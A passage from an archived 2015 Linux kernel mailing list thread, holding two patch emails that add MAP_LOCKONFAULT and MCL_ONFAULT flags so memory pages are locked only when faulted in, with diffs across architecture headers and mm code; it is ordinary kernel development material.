	linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org,
	sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org,
	linux-mm@kvack.org,
	linux-arch@vger.kernel.org,
	linux-api@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: owner-linux-mm@kvack.org Tue Jun 02 20:13:37 2015
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1Yzqgu-0001Gs-2X
	for glkm-linux-mm-2@m.gmane.org; Tue, 02 Jun 2015 20:13:32 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id 345BB6B0038; Tue,  2 Jun 2015 14:13:29 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 2F5766B006E; Tue,  2 Jun 2015 14:13:29 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 1E40E6B0070; Tue,  2 Jun 2015 14:13:29 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-qg0-f41.google.com (mail-qg0-f41.google.com [209.85.192.41])
	by kanga.kvack.org (Postfix) with ESMTP id E8D916B0038
	for <linux-mm@kvack.org>; Tue,  2 Jun 2015 14:13:28 -0400 (EDT)
Original-Received: by qgdy38 with SMTP id y38so37296947qgd.1
        for <linux-mm@kvack.org>; Tue, 02 Jun 2015 11:13:28 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-original-authentication-results:x-gm-message-state:from:to:cc
         :subject:date:message-id:in-reply-to:references;
        bh=wTBEqdL6zc688/rz+P903asOPfrHwGcKsXg8dca/+mA=;
        b=M2kfgdoxH2eR1hHnFHfs4gxc/joCgdZj8645t/l85g6tXHmchh0+nGcOVlkQtGntdl
         UnCoQqQ4pru1wlB9DntQpWSBXnvHHiRQVCfqvVGyHtV56o41P451E/nk9czakVQ/Vtyg
         wVMeiEDkblGlEgUbCeBdzXXL/Xz+lVh6W8Fs5I42rpGCHcsxc0PVN9INBbQBHRfOpgh2
         ytpl8uh+eRsBaDe+xbIGyF1KvC/oi2I2esuOBXUtTRJZeVm+Hl4rxVoygH5kZxPjuygn
         w9Ge31FZePVLXtEjgmDP8SsnrykbxnkWs8GJi4+pFiSLRd8frbo6QE35r73BdEniktm2
         HkZQ==
X-Original-Authentication-Results: mx.google.com;       spf=pass (google.com: domain of emunson@akamai.com designates 72.246.2.115 as permitted sender) smtp.mail=emunson@akamai.com;       dmarc=pass (p=NONE dis=NONE) header.from=akamai.com
X-Gm-Message-State: ALoCoQnUM415RwJIsdaz0u8A4VFuddSxquV+F7zS5ynolBI0ibu+mnJ7BA0g6AZNnpWDojM4sTY85DURwPXeoaFTGJxQ20LkxtjBl8XerNPk5g29ijA6dP1GLEG0DAwClZUlS9RGUej0KTsN6FgDsMrS6q7wHIfsDm529Azq3fy+FGxcFSiVr2FdHNauUiT1VqOP8bFEUXsp
X-Received: by 10.55.21.211 with SMTP id 80mr49089191qkv.11.1433268808684;
        Tue, 02 Jun 2015 11:13:28 -0700 (PDT)
X-Received: by 10.55.21.211 with SMTP id 80mr49089097qkv.11.1433268808098;
        Tue, 02 Jun 2015 11:13:28 -0700 (PDT)
Original-Received: from prod-mail-xrelay07.akamai.com (prod-mail-xrelay07.akamai.com. [72.246.2.115])
        by mx.google.com with ESMTP id i85si14593353qhc.87.2015.06.02.11.13.27
        for <linux-mm@kvack.org>;
        Tue, 02 Jun 2015 11:13:28 -0700 (PDT)
Received-SPF: pass (google.com: domain of emunson@akamai.com designates 72.246.2.115 as permitted sender) client-ip=72.246.2.115;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of emunson@akamai.com designates 72.246.2.115 as permitted sender) smtp.mail=emunson@akamai.com;
       dmarc=pass (p=NONE dis=NONE) header.from=akamai.com
Original-Received: from prod-mail-xrelay07.akamai.com (localhost.localdomain [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id A78E0485EA;
	Tue,  2 Jun 2015 18:13:27 +0000 (GMT)
Original-Received: from prod-mail-relay06.akamai.com (prod-mail-relay06.akamai.com [172.17.120.126])
	by prod-mail-xrelay07.akamai.com (Postfix) with ESMTP id 9B5044862B;
	Tue,  2 Jun 2015 18:13:27 +0000 (GMT)
Original-Received: from bos-lp6ds.kendall.corp.akamai.com (bos-lp6ds.kendall.corp.akamai.com [172.28.12.164])
	by prod-mail-relay06.akamai.com (Postfix) with ESMTP id 8C3022030;
	Tue,  2 Jun 2015 18:13:27 +0000 (GMT)
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1433268806-17109-1-git-send-email-emunson@akamai.com>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:133642 gmane.linux.ports.alpha:3111 gmane.linux.kernel:1967841 gmane.linux.ports.mips.general:48947 gmane.linux.ports.parisc:25754 gmane.linux.ports.ppc64.devel:113791 gmane.linux.ports.sparc:21096 gmane.linux.kernel.cross-arch:27890 gmane.linux.kernel.api:11786
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/133642>

The cost of faulting in all memory to be locked can be very high when
working with large mappings.  If only portions of the mapping will be
used this can incur a high penalty for locking.

For the example of a large file, this is the usage pattern for a large
statical language model (probably applies to other statical or graphical
models as well).  For the security example, any application transacting
in data that cannot be swapped out (credit card data, medical records,
etc).

This patch introduces the ability to request that pages are not
pre-faulted, but are placed on the unevictable LRU when they are finally
faulted in.

To keep accounting checks out of the page fault path, users are billed
for the entire mapping lock as if MAP_LOCKED was used.

Signed-off-by: Eric B Munson <emunson@akamai.com>
Cc: Michal Hocko <mhocko@suse.cz>
Cc: Michael Kerrisk <mtk.manpages@gmail.com>
Cc: linux-alpha@vger.kernel.org
Cc: linux-kernel@vger.kernel.org
Cc: linux-mips@linux-mips.org
Cc: linux-parisc@vger.kernel.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: sparclinux@vger.kernel.org
Cc: linux-xtensa@linux-xtensa.org
Cc: linux-mm@kvack.org
Cc: linux-arch@vger.kernel.org
Cc: linux-api@vger.kernel.org
---
 arch/alpha/include/uapi/asm/mman.h   | 1 +
 arch/mips/include/uapi/asm/mman.h    | 1 +
 arch/parisc/include/uapi/asm/mman.h  | 1 +
 arch/powerpc/include/uapi/asm/mman.h | 1 +
 arch/sparc/include/uapi/asm/mman.h   | 1 +
 arch/tile/include/uapi/asm/mman.h    | 1 +
 arch/xtensa/include/uapi/asm/mman.h  | 1 +
 include/linux/mm.h                   | 1 +
 include/linux/mman.h                 | 3 ++-
 include/uapi/asm-generic/mman.h      | 1 +
 mm/mmap.c                            | 4 ++--
 mm/swap.c                            | 3 ++-
 12 files changed, 15 insertions(+), 4 deletions(-)

diff --git a/arch/alpha/include/uapi/asm/mman.h b/arch/alpha/include/uapi/asm/mman.h
index 0086b47..15e96e1 100644
--- a/arch/alpha/include/uapi/asm/mman.h
+++ b/arch/alpha/include/uapi/asm/mman.h
@@ -30,6 +30,7 @@
 #define MAP_NONBLOCK	0x40000		/* do not block on IO */
 #define MAP_STACK	0x80000		/* give out an address that is best suited for process/thread stacks */
 #define MAP_HUGETLB	0x100000	/* create a huge page mapping */
+#define MAP_LOCKONFAULT	0x200000	/* Lock pages after they are faulted in, do not prefault */
 
 #define MS_ASYNC	1		/* sync memory asynchronously */
 #define MS_SYNC		2		/* synchronous memory sync */
diff --git a/arch/mips/include/uapi/asm/mman.h b/arch/mips/include/uapi/asm/mman.h
index cfcb876..47846a5 100644
--- a/arch/mips/include/uapi/asm/mman.h
+++ b/arch/mips/include/uapi/asm/mman.h
@@ -48,6 +48,7 @@
 #define MAP_NONBLOCK	0x20000		/* do not block on IO */
 #define MAP_STACK	0x40000		/* give out an address that is best suited for process/thread stacks */
 #define MAP_HUGETLB	0x80000		/* create a huge page mapping */
+#define MAP_LOCKONFAULT	0x100000	/* Lock pages after they are faulted in, do not prefault */
 
 /*
  * Flags for msync
diff --git a/arch/parisc/include/uapi/asm/mman.h b/arch/parisc/include/uapi/asm/mman.h
index 294d251..1514cd7 100644
--- a/arch/parisc/include/uapi/asm/mman.h
+++ b/arch/parisc/include/uapi/asm/mman.h
@@ -24,6 +24,7 @@
 #define MAP_NONBLOCK	0x20000		/* do not block on IO */
 #define MAP_STACK	0x40000		/* give out an address that is best suited for process/thread stacks */
 #define MAP_HUGETLB	0x80000		/* create a huge page mapping */
+#define MAP_LOCKONFAULT	0x100000	/* Lock pages after they are faulted in, do not prefault */
 
 #define MS_SYNC		1		/* synchronous memory sync */
 #define MS_ASYNC	2		/* sync memory asynchronously */
diff --git a/arch/powerpc/include/uapi/asm/mman.h b/arch/powerpc/include/uapi/asm/mman.h
index 6ea26df..fce74fe 100644
--- a/arch/powerpc/include/uapi/asm/mman.h
+++ b/arch/powerpc/include/uapi/asm/mman.h
@@ -27,5 +27,6 @@
 #define MAP_NONBLOCK	0x10000		/* do not block on IO */
 #define MAP_STACK	0x20000		/* give out an address that is best suited for process/thread stacks */
 #define MAP_HUGETLB	0x40000		/* create a huge page mapping */
+#define MAP_LOCKONFAULT	0x80000		/* Lock pages after they are faulted in, do not prefault */
 
 #endif /* _UAPI_ASM_POWERPC_MMAN_H */
diff --git a/arch/sparc/include/uapi/asm/mman.h b/arch/sparc/include/uapi/asm/mman.h
index 0b14df3..12425d8 100644
--- a/arch/sparc/include/uapi/asm/mman.h
+++ b/arch/sparc/include/uapi/asm/mman.h
@@ -22,6 +22,7 @@
 #define MAP_NONBLOCK	0x10000		/* do not block on IO */
 #define MAP_STACK	0x20000		/* give out an address that is best suited for process/thread stacks */
 #define MAP_HUGETLB	0x40000		/* create a huge page mapping */
+#define MAP_LOCKONFAULT	0x80000		/* Lock pages after they are faulted in, do not prefault */
 
 
 #endif /* _UAPI__SPARC_MMAN_H__ */
diff --git a/arch/tile/include/uapi/asm/mman.h b/arch/tile/include/uapi/asm/mman.h
index 81b8fc3..ec04eaf 100644
--- a/arch/tile/include/uapi/asm/mman.h
+++ b/arch/tile/include/uapi/asm/mman.h
@@ -29,6 +29,7 @@
 #define MAP_DENYWRITE	0x0800		/* ETXTBSY */
 #define MAP_EXECUTABLE	0x1000		/* mark it as an executable */
 #define MAP_HUGETLB	0x4000		/* create a huge page mapping */
+#define MAP_LOCKONFAULT	0x8000		/* Lock pages after they are faulted in, do not prefault */
 
 
 /*
diff --git a/arch/xtensa/include/uapi/asm/mman.h b/arch/xtensa/include/uapi/asm/mman.h
index 201aec0..42d43cc 100644
--- a/arch/xtensa/include/uapi/asm/mman.h
+++ b/arch/xtensa/include/uapi/asm/mman.h
@@ -55,6 +55,7 @@
 #define MAP_NONBLOCK	0x20000		/* do not block on IO */
 #define MAP_STACK	0x40000		/* give out an address that is best suited for process/thread stacks */
 #define MAP_HUGETLB	0x80000		/* create a huge page mapping */
+#define MAP_LOCKONFAULT	0x100000	/* Lock pages after they are faulted in, do not prefault */
 #ifdef CONFIG_MMAP_ALLOW_UNINITIALIZED
 # define MAP_UNINITIALIZED 0x4000000	/* For anonymous mmap, memory could be
 					 * uninitialized */
diff --git a/include/linux/mm.h b/include/linux/mm.h
index 0755b9f..3e31457 100644
--- a/include/linux/mm.h
+++ b/include/linux/mm.h
@@ -126,6 +126,7 @@ extern unsigned int kobjsize(const void *objp);
 #define VM_PFNMAP	0x00000400	/* Page-ranges managed without "struct page", just pure PFN */
 #define VM_DENYWRITE	0x00000800	/* ETXTBSY on write attempts.. */
 
+#define VM_LOCKONFAULT	0x00001000	/* Lock the pages covered when they are faulted in */
 #define VM_LOCKED	0x00002000
 #define VM_IO           0x00004000	/* Memory mapped I/O or similar */
 
diff --git a/include/linux/mman.h b/include/linux/mman.h
index 16373c8..437264b 100644
--- a/include/linux/mman.h
+++ b/include/linux/mman.h
@@ -86,7 +86,8 @@ calc_vm_flag_bits(unsigned long flags)
 {
 	return _calc_vm_trans(flags, MAP_GROWSDOWN,  VM_GROWSDOWN ) |
 	       _calc_vm_trans(flags, MAP_DENYWRITE,  VM_DENYWRITE ) |
-	       _calc_vm_trans(flags, MAP_LOCKED,     VM_LOCKED    );
+	       _calc_vm_trans(flags, MAP_LOCKED,     VM_LOCKED    ) |
+	       _calc_vm_trans(flags, MAP_LOCKONFAULT,VM_LOCKONFAULT);
 }
 
 unsigned long vm_commit_limit(void);
diff --git a/include/uapi/asm-generic/mman.h b/include/uapi/asm-generic/mman.h
index e9fe6fd..fc4e586 100644
--- a/include/uapi/asm-generic/mman.h
+++ b/include/uapi/asm-generic/mman.h
@@ -12,6 +12,7 @@
 #define MAP_NONBLOCK	0x10000		/* do not block on IO */
 #define MAP_STACK	0x20000		/* give out an address that is best suited for process/thread stacks */
 #define MAP_HUGETLB	0x40000		/* create a huge page mapping */
+#define MAP_LOCKONFAULT	0x80000		/* Lock pages after they are faulted in, do not prefault */
 
 /* Bits [26:31] are reserved, see mman-common.h for MAP_HUGETLB usage */
 
diff --git a/mm/mmap.c b/mm/mmap.c
index bb50cac..ba1a6bf 100644
--- a/mm/mmap.c
+++ b/mm/mmap.c
@@ -1233,7 +1233,7 @@ static inline int mlock_future_check(struct mm_struct *mm,
 	unsigned long locked, lock_limit;
 
 	/*  mlock MCL_FUTURE? */
-	if (flags & VM_LOCKED) {
+	if (flags & (VM_LOCKED | VM_LOCKONFAULT)) {
 		locked = len >> PAGE_SHIFT;
 		locked += mm->locked_vm;
 		lock_limit = rlimit(RLIMIT_MEMLOCK);
@@ -1301,7 +1301,7 @@ unsigned long do_mmap_pgoff(struct file *file, unsigned long addr,
 	vm_flags = calc_vm_prot_bits(prot) | calc_vm_flag_bits(flags) |
 			mm->def_flags | VM_MAYREAD | VM_MAYWRITE | VM_MAYEXEC;
 
-	if (flags & MAP_LOCKED)
+	if (flags & (MAP_LOCKED | MAP_LOCKONFAULT))
 		if (!can_do_mlock())
 			return -EPERM;
 
diff --git a/mm/swap.c b/mm/swap.c
index a7251a8..07c905e 100644
--- a/mm/swap.c
+++ b/mm/swap.c
@@ -711,7 +711,8 @@ void lru_cache_add_active_or_unevictable(struct page *page,
 {
 	VM_BUG_ON_PAGE(PageLRU(page), page);
 
-	if (likely((vma->vm_flags & (VM_LOCKED | VM_SPECIAL)) != VM_LOCKED)) {
+	if (likely((vma->vm_flags & (VM_LOCKED | VM_LOCKONFAULT)) == 0) ||
+		   (vma->vm_flags & VM_SPECIAL)) {
 		SetPageActive(page);
 		lru_cache_add(page);
 		return;
-- 
1.9.1

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:37:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: [PATCH V2 2/3] Add mlockall flag for locking pages on fault
Date: Tue,  2 Jun 2015 14:13:25 -0400
Lines: 188
Approved: news@gmane.org
Message-ID: <1433268806-17109-3-git-send-email-emunson@akamai.com>
References: <1433268806-17109-1-git-send-email-emunson@akamai.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1433268840 30521 80.91.229.3 (2 Jun 2015 18:14:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 2 Jun 2015 18:14:00 +0000 (UTC)
Cc: Eric B Munson <emunson@akamai.com>,
	Michal Hocko <mhocko@suse.cz>,
	Michael Kerrisk <mtk.manpages@gmail.com>,
	linux-alpha@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org,
	sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org,
	linux-arch@vger.kernel.org,
	linux-api@vger.kernel.org,
	linux-mm@kvack.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: owner-linux-mm@kvack.org Tue Jun 02 20:13:39 2015
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1Yzqgw-0001H6-2V
	for glkm-linux-mm-2@m.gmane.org; Tue, 02 Jun 2015 20:13:34 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id 1E7D46B006E; Tue,  2 Jun 2015 14:13:30 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 170416B0070; Tue,  2 Jun 2015 14:13:30 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 084F66B0071; Tue,  2 Jun 2015 14:13:29 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-qk0-f171.google.com (mail-qk0-f171.google.com [209.85.220.171])
	by kanga.kvack.org (Postfix) with ESMTP id D083C6B006E
	for <linux-mm@kvack.org>; Tue,  2 Jun 2015 14:13:29 -0400 (EDT)
Original-Received: by qkx62 with SMTP id 62so105498364qkx.3
        for <linux-mm@kvack.org>; Tue, 02 Jun 2015 11:13:29 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-original-authentication-results:x-gm-message-state:from:to:cc
         :subject:date:message-id:in-reply-to:references;
        bh=UMUI1x+qg5TVAPSqeI/UMCEKLMs/aqvayZ/sSN/Xgmo=;
        b=iB20L5Tp9aAFbJgmTNwi1LKDQC3ak7ZF9FTWU6GV28oGyZvupr/Yfy7Oe9ghToV/B2
         w1sKZz0G2kYlPnxMkBXuON25LnHM+1gmW74bU1Mb+iKqUbG+8TpU9S9r9eDm4Brt8Qy2
         v3w5P9Cw8ZmaqFmdoQ/VVWZl1mRHIqJb3srwJuZek4QtIEKMG0hVWrRxpwqI1CXnFc43
         lZNPtWl9sUQchHHl+q3p6Wck4/UMyEfiyMY5HIEllF5BVDOnvLo7yhkIYpoSqp676ToN
         7zD1/hFXvNIUOO5+ir4z5zVryygfrzgPKuTP2Oomars+2mYtQo++pEwHNnSgPZQVE57L
         Y9yQ==
X-Original-Authentication-Results: mx.google.com;       spf=pass (google.com: domain of emunson@akamai.com designates 72.246.2.115 as permitted sender) smtp.mail=emunson@akamai.com;       dmarc=pass (p=NONE dis=NONE) header.from=akamai.com
X-Gm-Message-State: ALoCoQlKzNo/OtIV21gn5gQ6zwzDF4fQ9B3vJPkS5X5G6wNcRIXt9ifgGVB887kxHgigpkuIappupLoq8+yYKDvehkQjF0K6VM+XJyJP1JIYLeVcBbLeMO0r8JyAh9P+V2JviIs6NKC1YOwKYQ2aJ4Om3W87UVDml0zgWxZiNgFNHQGvoBrqquooVZWKiVC7jOuOouniwyQq
X-Received: by 10.140.95.85 with SMTP id h79mr29975705qge.68.1433268809519;
        Tue, 02 Jun 2015 11:13:29 -0700 (PDT)
X-Received: by 10.140.95.85 with SMTP id h79mr29975578qge.68.1433268808183;
        Tue, 02 Jun 2015 11:13:28 -0700 (PDT)
Original-Received: from prod-mail-xrelay07.akamai.com (prod-mail-xrelay07.akamai.com. [72.246.2.115])
        by mx.google.com with ESMTP id e76si14598429qka.106.2015.06.02.11.13.27
        for <linux-mm@kvack.org>;
        Tue, 02 Jun 2015 11:13:28 -0700 (PDT)
Received-SPF: pass (google.com: domain of emunson@akamai.com designates 72.246.2.115 as permitted sender) client-ip=72.246.2.115;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of emunson@akamai.com designates 72.246.2.115 as permitted sender) smtp.mail=emunson@akamai.com;
       dmarc=pass (p=NONE dis=NONE) header.from=akamai.com
Original-Received: from prod-mail-xrelay07.akamai.com (localhost.localdomain [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id AF9A94862E;
	Tue,  2 Jun 2015 18:13:27 +0000 (GMT)
Original-Received: from prod-mail-relay06.akamai.com (prod-mail-relay06.akamai.com [172.17.120.126])
	by prod-mail-xrelay07.akamai.com (Postfix) with ESMTP id A1D424862C;
	Tue,  2 Jun 2015 18:13:27 +0000 (GMT)
Original-Received: from bos-lp6ds.kendall.corp.akamai.com (bos-lp6ds.kendall.corp.akamai.com [172.28.12.164])
	by prod-mail-relay06.akamai.com (Postfix) with ESMTP id 9BAD2202E;
	Tue,  2 Jun 2015 18:13:27 +0000 (GMT)
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1433268806-17109-1-git-send-email-emunson@akamai.com>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:133644 gmane.linux.ports.alpha:3112 gmane.linux.kernel:1967844 gmane.linux.ports.mips.general:48948 gmane.linux.ports.parisc:25755 gmane.linux.ports.ppc64.devel:113792 gmane.linux.ports.sparc:21097 gmane.linux.kernel.cross-arch:27891 gmane.linux.kernel.api:11788
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/133644>

Building on the previous patch, extend mlockall() to give a process a
way to specify that pages should be locked when they are faulted in, but
that pre-faulting is not needed.

MCL_ONFAULT is preferrable to MCL_FUTURE for the use cases enumerated
in the previous patch becuase MCL_FUTURE will behave as if each mapping
was made with MAP_LOCKED, causing the entire mapping to be faulted in
when new space is allocated or mapped.  MCL_ONFAULT allows the user to
delay the fault in cost of any given page until it is actually needed,
but then guarantees that that page will always be resident.

As with the mmap(MAP_LOCKONFAULT) case, the user is charged for the
mapping against the RLIMIT_MEMLOCK when the address space is allocated,
not when the page is faulted in.  This decision was made to keep the
accounting checks out of the page fault path.

Signed-off-by: Eric B Munson <emunson@akamai.com>
Cc: Michal Hocko <mhocko@suse.cz>
Cc: Michael Kerrisk <mtk.manpages@gmail.com>
Cc: linux-alpha@vger.kernel.org
Cc: linux-kernel@vger.kernel.org
Cc: linux-mips@linux-mips.org
Cc: linux-parisc@vger.kernel.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: sparclinux@vger.kernel.org
Cc: linux-xtensa@linux-xtensa.org
Cc: linux-arch@vger.kernel.org
Cc: linux-api@vger.kernel.org
Cc: linux-mm@kvack.org
---
 arch/alpha/include/uapi/asm/mman.h   |  1 +
 arch/mips/include/uapi/asm/mman.h    |  1 +
 arch/parisc/include/uapi/asm/mman.h  |  1 +
 arch/powerpc/include/uapi/asm/mman.h |  1 +
 arch/sparc/include/uapi/asm/mman.h   |  1 +
 arch/tile/include/uapi/asm/mman.h    |  1 +
 arch/xtensa/include/uapi/asm/mman.h  |  1 +
 include/uapi/asm-generic/mman.h      |  1 +
 mm/mlock.c                           | 13 +++++++++----
 9 files changed, 17 insertions(+), 4 deletions(-)

diff --git a/arch/alpha/include/uapi/asm/mman.h b/arch/alpha/include/uapi/asm/mman.h
index 15e96e1..dfdaecf 100644
--- a/arch/alpha/include/uapi/asm/mman.h
+++ b/arch/alpha/include/uapi/asm/mman.h
@@ -38,6 +38,7 @@
 
 #define MCL_CURRENT	 8192		/* lock all currently mapped pages */
 #define MCL_FUTURE	16384		/* lock all additions to address space */
+#define MCL_ONFAULT	32768		/* lock all pages that are faulted in */
 
 #define MADV_NORMAL	0		/* no further special treatment */
 #define MADV_RANDOM	1		/* expect random page references */
diff --git a/arch/mips/include/uapi/asm/mman.h b/arch/mips/include/uapi/asm/mman.h
index 47846a5..f0705ff 100644
--- a/arch/mips/include/uapi/asm/mman.h
+++ b/arch/mips/include/uapi/asm/mman.h
@@ -62,6 +62,7 @@
  */
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
+#define MCL_ONFAULT	4		/* lock all pages that are faulted in */
 
 #define MADV_NORMAL	0		/* no further special treatment */
 #define MADV_RANDOM	1		/* expect random page references */
diff --git a/arch/parisc/include/uapi/asm/mman.h b/arch/parisc/include/uapi/asm/mman.h
index 1514cd7..7c2eb85 100644
--- a/arch/parisc/include/uapi/asm/mman.h
+++ b/arch/parisc/include/uapi/asm/mman.h
@@ -32,6 +32,7 @@
 
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
+#define MCL_ONFAULT	4		/* lock all pages that are faulted in */
 
 #define MADV_NORMAL     0               /* no further special treatment */
 #define MADV_RANDOM     1               /* expect random page references */
diff --git a/arch/powerpc/include/uapi/asm/mman.h b/arch/powerpc/include/uapi/asm/mman.h
index fce74fe..0109937 100644
--- a/arch/powerpc/include/uapi/asm/mman.h
+++ b/arch/powerpc/include/uapi/asm/mman.h
@@ -22,6 +22,7 @@
 
 #define MCL_CURRENT     0x2000          /* lock all currently mapped pages */
 #define MCL_FUTURE      0x4000          /* lock all additions to address space */
+#define MCL_ONFAULT	0x80000		/* lock all pages that are faulted in */
 
 #define MAP_POPULATE	0x8000		/* populate (prefault) pagetables */
 #define MAP_NONBLOCK	0x10000		/* do not block on IO */
diff --git a/arch/sparc/include/uapi/asm/mman.h b/arch/sparc/include/uapi/asm/mman.h
index 12425d8..f2986f7 100644
--- a/arch/sparc/include/uapi/asm/mman.h
+++ b/arch/sparc/include/uapi/asm/mman.h
@@ -17,6 +17,7 @@
 
 #define MCL_CURRENT     0x2000          /* lock all currently mapped pages */
 #define MCL_FUTURE      0x4000          /* lock all additions to address space */
+#define MCL_ONFAULT	0x80000		/* lock all pages that are faulted in */
 
 #define MAP_POPULATE	0x8000		/* populate (prefault) pagetables */
 #define MAP_NONBLOCK	0x10000		/* do not block on IO */
diff --git a/arch/tile/include/uapi/asm/mman.h b/arch/tile/include/uapi/asm/mman.h
index ec04eaf..0f7ae45 100644
--- a/arch/tile/include/uapi/asm/mman.h
+++ b/arch/tile/include/uapi/asm/mman.h
@@ -37,6 +37,7 @@
  */
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
+#define MCL_ONFAULT	4		/* lock all pages that are faulted in */
 
 
 #endif /* _ASM_TILE_MMAN_H */
diff --git a/arch/xtensa/include/uapi/asm/mman.h b/arch/xtensa/include/uapi/asm/mman.h
index 42d43cc..10fbbb7 100644
--- a/arch/xtensa/include/uapi/asm/mman.h
+++ b/arch/xtensa/include/uapi/asm/mman.h
@@ -75,6 +75,7 @@
  */
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
+#define MCL_ONFAULT	4		/* lock all pages that are faulted in */
 
 #define MADV_NORMAL	0		/* no further special treatment */
 #define MADV_RANDOM	1		/* expect random page references */
diff --git a/include/uapi/asm-generic/mman.h b/include/uapi/asm-generic/mman.h
index fc4e586..7fb729b 100644
--- a/include/uapi/asm-generic/mman.h
+++ b/include/uapi/asm-generic/mman.h
@@ -18,5 +18,6 @@
 
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
+#define MCL_ONFAULT	4		/* lock all pages that are faulted in */
 
 #endif /* __ASM_GENERIC_MMAN_H */
diff --git a/mm/mlock.c b/mm/mlock.c
index 6fd2cf1..f15547f 100644
--- a/mm/mlock.c
+++ b/mm/mlock.c
@@ -579,7 +579,7 @@ static int do_mlock(unsigned long start, size_t len, int on)
 
 		/* Here we know that  vma->vm_start <= nstart < vma->vm_end. */
 
-		newflags = vma->vm_flags & ~VM_LOCKED;
+		newflags = vma->vm_flags & ~(VM_LOCKED | VM_LOCKONFAULT);
 		if (on)
 			newflags |= VM_LOCKED;
 
@@ -662,13 +662,17 @@ static int do_mlockall(int flags)
 		current->mm->def_flags |= VM_LOCKED;
 	else
 		current->mm->def_flags &= ~VM_LOCKED;
-	if (flags == MCL_FUTURE)
+	if (flags & MCL_ONFAULT)
+		current->mm->def_flags |= VM_LOCKONFAULT;
+	else
+		current->mm->def_flags &= ~VM_LOCKONFAULT;
+	if (flags == MCL_FUTURE || flags == MCL_ONFAULT)
 		goto out;
 
 	for (vma = current->mm->mmap; vma ; vma = prev->vm_next) {
 		vm_flags_t newflags;
 
-		newflags = vma->vm_flags & ~VM_LOCKED;
+		newflags = vma->vm_flags & ~(VM_LOCKED | VM_LOCKONFAULT);
 		if (flags & MCL_CURRENT)
 			newflags |= VM_LOCKED;
 
@@ -685,7 +689,8 @@ SYSCALL_DEFINE1(mlockall, int, flags)
 	unsigned long lock_limit;
 	int ret = -EINVAL;
 
-	if (!flags || (flags & ~(MCL_CURRENT | MCL_FUTURE)))
